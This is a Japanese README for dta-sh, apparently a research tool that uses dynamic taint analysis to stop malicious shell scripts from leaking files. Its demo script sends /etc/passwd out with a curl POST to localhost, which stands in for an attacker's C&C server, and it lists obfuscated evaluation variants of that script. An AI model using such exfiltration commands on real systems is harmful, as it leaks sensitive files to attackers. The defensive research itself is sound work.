dta-sh は動的テイント解析を用いて悪性シェルスクリプトによる情報漏洩を阻止するためのツール。 動的テイント解析にはlibdft64を用いる。
/etc/passwd
を外部に漏洩させるシェルスクリプトスクリプトの漏洩を阻止するデモ。
このシェルスクリプトはcurlコマンドを使用してPOSTリクエストで外部にファイルを送信する。
src/sendfile.sh
にある。
# 情報漏洩を行うコマンド
curl -X POST -F f=@"/etc/passwd" localhost:9999
ファイルの送信先(漏洩先)は自分自身とする。 本来localhost:9999の部分は攻撃者が用意するC&Cサーバのドメイン名であるが、漏洩させるファイルを自身で受け取るためここではlocalhostとなる。
環境は Ubuntu 20.04 LTS or 22.04 LTSで動作確認済み(WSL2でも動く)。
# 依存関係をインストール(初回のみ)
./setup.sh
# 環境変数(PIN_ROOT)を設定
source env.init
# POSTリクエストを受け取るHTTPサーバを起動
python3 server.py &
# dta-shをビルド
cd src
make
# デモを実行
make demo
ログがたくさん出て、最終的に[pid 93112] alert : !!!! ABORT !!!! Data leak detected
と出力されたらこのデモは成功。
うまく行かない場合はFAQを参照。
make demo
を実行した際、デフォルトでは../script/default.sh
が使用される。
情報漏洩を行うスクリプトは他にもscript/
下にあり、SCRIPT=<スクリプトのパス>
を指定することでそのスクリプトを使用できる。
# スクリプトを指定してデモを実行
make demo SCRIPT=../script/pipeline.sh
# or
make demo SCRIPT=pipeline.sh
作成したツール dta-sh を使わない場合どうなるか確認。
単にsendfile.sh
を実行する。
./sendfile.sh
先程サーバを起動したターミナルに戻ると、赤文字の/etc/passwd
の内容が出力されているはず。
これはサーバが受け取ったデータで、POSTリクエストにより/etc/passwd
の内容が漏洩した。
.
├── pin-3.20-98437-gf02b61307-gcc-linux/ # libdft64の依存ライブラリ
├── pin-3.20-98437-gf02b61307-gcc-linux.tar.gz # ↑の圧縮ファイル
├── libdft64/ # 動的テイント解析ライブラリ
├── README.md # このファイル
├── env.init # 環境変数(PIN_ROOT)の設定
├── script/ # 評価用のスクリプト
│ ├── default.sh # 評価基準
│ ├── alias.sh # エイリアス
│ ├── variable-alias.sh # 変数を使ったエイリアス
│ ├── ansi-c-quoting.sh # 難読化:ANSI-C Quoting(Bashの機能)
│ ├── bashfuscator.sh # 難読化:Bashfuscator(サイズ小)
│ ├── long-bashfuscator.sh # 難読化:Bashfuscator(サイズ大)
│ ├── command-substitution-1.sh # コマンド置換(変数経由)
│ ├── command-substitution-2.sh # コマンド置換(引数へ直接)
│ ├── pipeline.sh # パイプ
│ ├── process-substitution.sh # プロセス置換
│ └── redirecting-input.sh # 入力リダイレクト
├── server.py # POSTリクエストを受け取るHTTPサーバ
├── setup.sh # セットアップファイル
└── src/ # ソースコード
├── dta-sh.cpp # ツールの本体
├── dta-sh.h # ヘッダファイル
├── Makefile # ビルドスクリプト
├── makefile.rules # ビルドスクリプト
└── sendfile.sh # 情報漏洩を行うシェルスクリプト
エラーに関するものは起きたエラーがそのままタイトル。
PIN_ROOT
が設定されておらず、PinのMakefileが見つからない。
Pinのディレクトリを環境変数経由で教えてやる。
source env.init
Pintoolのコンパイルに-Werror
が有効なため、WarningがすべてErrorとして扱われる。
Pintoolのコンパイルオプションはpin-3.20-98437-gf02b61307-gcc-linux/source/tools/Config/makefile.unix.configで定義されているため、-Werror
を削除することでコンパイルが通る(WarningはWarningとして扱われる)。
- TOOL_CXXFLAGS_NOOPT := -Wall -Werror -Wno-unknown-pragmas -DPIN_CRT=1
+ TOOL_CXXFLAGS_NOOPT := -Wall -Wno-unknown-pragmas -DPIN_CRT=1
条件分岐を最適化するためにコンパイラに与えるヒント。 libdft64/src/branch_pred.hで定義されている。
ローカルサーバが立っていない。
サーバを立ててやる。&
はバックグラウンド実行の意味(Bashの機能)。
python3 server.py &
libdft64にPinのパスを教えるための環境変数。 make時、libdft64はこの変数を読んでpin.Hなりの場所を知る。
Makefileは設定(ビルド用の変数CXX := g++
など)を読み込む、ビルドレシピを読み込むファイル、
makefile.rulesはビルドするlibdft toolを定義するファイル。
Makefileは編集せず、makefile.rulesにのみビルドするlibdft toolを定義する。
変数などが隠されていて分かりにくい部分もあるが、libdft64/toolsのビルド方法をそのまま採用した。
libdft toolを作る場合は、明示的にツールのビルドレシピを定義しなくてよい。
makefile.rulesのTOOL_ROOT
にビルドするツールのファイル名(の拡張子を取ったもの)を定義するだけ。
詳細なビルドレシピは別の場所で定義されていて隠されている。
例えば、dta-sh.cppというlibdft toolをビルドするためにはTOOL_ROOT := dta-sh
と定義する。
するとmakeを実行するだけでobj-intel64/dta-sh.soというファイルが生成される。
本ツールでは使わない。 THREADIDはPinのスレッドが使用するデータの配列へのインデックス。 ここでのスレッドはWinAPIのスレッドやPthreadsのスレッドではなく、Pinが管理するスレッド。
Pin also provides an analysis routine argument (IARG_THREAD_ID), which passes a Pin-specific thread ID for the calling thread. This ID is different from the O/S system thread ID, and is a small number starting at 0, which can be used as an index to an array of thread data or as the locking value to Pin user locks. See the example Instrumenting Threaded Applications for more information.
ref. https://software.intel.com/sites/landingpage/pintool/docs/98650/Pin/doc/html/index.html#MT